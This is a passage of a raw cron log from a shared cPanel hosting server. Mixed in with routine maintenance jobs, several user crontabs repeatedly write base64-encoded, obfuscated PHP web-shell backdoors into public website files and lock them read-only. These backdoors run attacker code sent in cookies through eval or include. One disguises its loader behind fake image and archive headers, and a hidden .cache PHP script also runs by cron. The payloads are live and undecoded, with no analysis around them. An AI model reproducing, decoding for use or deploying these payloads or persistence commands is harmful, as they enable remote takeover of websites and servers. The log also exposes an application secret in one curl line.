hoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:22:01 medusa CROND[30814]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:22:01 medusa CROND[30809]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:22:01 medusa CROND[30820]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:23:01 medusa CROND[379]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:23:01 medusa CROND[385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:23:01 medusa CROND[386]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:23:01 medusa CROND[387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:23:01 medusa CROND[388]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:23:01 medusa CROND[390]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:23:01 medusa CROND[392]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:23:01 medusa CROND[398]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:23:01 medusa CROND[397]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:23:01 medusa CROND[396]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:23:01 medusa CROND[400]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:23:01 medusa CROND[401]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:24:02 medusa CROND[2710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:24:02 medusa CROND[2711]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:24:02 medusa CROND[2712]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:24:02 medusa CROND[2713]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:24:02 medusa CROND[2714]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:24:02 medusa CROND[2715]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:24:02 medusa CROND[2717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:24:02 medusa CROND[2719]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:24:02 medusa CROND[2720]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:24:02 medusa CROND[2721]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:24:02 medusa CROND[2722]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:24:02 medusa CROND[2729]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:24:02 medusa CROND[2730]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:25:01 medusa CROND[4717]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:25:01 medusa CROND[4723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:25:01 medusa CROND[4726]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:25:01 medusa CROND[4729]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 14:25:01 medusa CROND[4795]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
